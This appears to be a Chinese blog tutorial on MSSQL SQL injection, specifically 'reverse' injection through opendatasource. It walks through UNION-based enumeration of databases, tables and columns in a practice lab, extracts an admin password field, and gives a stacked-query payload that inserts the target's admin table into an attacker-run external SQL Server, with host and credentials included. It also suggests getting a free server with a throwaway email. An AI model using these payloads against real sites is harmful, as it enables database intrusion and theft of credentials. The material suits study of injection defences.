网络安全从入门到精通(第六章-4)MSsql注入 —— 反弹注入

							MSsql注入 —— 反弹注入
		本文内容:
					~MSSQL反弹注入使用场景
					~快速搭建一个MSSQL环境(骚姿势)
					~MSSQL反弹注入语句解析
					~MSSQL实战注意

一、MSSQL反弹注入使用场景

0,MSSQL数据库就是Sql server数据库
1,前言
	MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,
	存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路
2,遇到问题
	明明有注入点却无法进行注入,工具攻击速度也是异常缓慢,错误提示信息关闭,
	无法返回注入结果,这些都是在注入攻击中常常遇到的问题。为例解决以上的疑难杂症,
	我们来学习反弹注入,反弹注入则依靠opendatasource函数支持
3,简单总结
	反弹注入就是利用opendatasource函数,将当前数据库中的查询结果发送给另一个数据库中

二、快速搭建一个MSSQL环境(骚姿势)

	1,利用十分重邮箱(例如:bccto.me)在香港云上白嫖一个服务器(webweb.com)
	2,根据目标数据库,建立相同类型数据库,建立表(表名随意),字段(名字随意,字段一定相同)

三、MSSQL反弹注入语句解析

	1,注意测试的数据库是sql server时,语句有点不太一样
		例如:url id=1	
				id=1' union all select null,null,null from news -- qwe
				提一下:
						~union后注意有个 all
						~select后,不可以加1,2,3,也不是不可以,这的数据类型要一致。
							因为一般来说,我们都不知道,所以写null,即无类型
							之后,可以用asd来测试是不是字符,这样以此来测试
	2,直接在sql server数据库中查询
		查库:	select name from dbo.sysdatabases	
				或者:select *from dbo.sysdatabases			
						//name是库默认属性
						//查询所有库,查出来有默认库,
		查表:	select *from dbo.sysobjects where xtype='U'	
						//稍微改一点关键词,注意增加xtype判断,后边的‘U’是用户的意思
						//代表查询用户创建的表,不然会查出很多表,
		查字段:select *from dbo.syscolumns where id=111

注意:

			一般不查库也行,毕竟很多东西都放在同一个库中
			id是SQL server表默认的字段,类似的还有name
			
			额外提一个系统自带表:master
				他是保存了,所有的库名,以及库的ID,和一些相关信息。
				在查系统所有库的时候,完整的语句应该是:
				
				select  *  from  master.dbo.sysdatabases
			
	3,搞靶场中
		测试:		url id=1'		-->		url id=1'-- qwe
		猜字段:	url id=1' order by 3 -- qwe			//假设3个字段
		查库名:	url id=1' union all 
		查表名:	url id=1' nuion all select id,name,null from dbo.sysobjects 
					where xtype='U' -- qwe 
		查字段:	url id=1' union all select null,name,null from dbo.syscolumns 
						where id=xxxxxx -- qwe
		查内容:	url id=1' union all select null,passwd,null from admin-- qwe
					//这个passwd是之前爆出的字段
	4,反弹注入语句
		url?id=1';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14B8A62_AB_admin;pwd=123456789;database=DB_14B8A62_AB').DB_14B8A62_AB_dbo.a select * from admin -- wqe

四、MSSQL反弹注入实战注意

	1,目标数据库要和自己搭建的一致,
			mysql对应mysql
			sql server 对应sql server
	2,“;”结尾,堆叠注入
		不能用and代替,堆叠语句就是执行多条数据
发布了24 篇原创文章 · 获赞 3 · 访问量 1711

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/104179827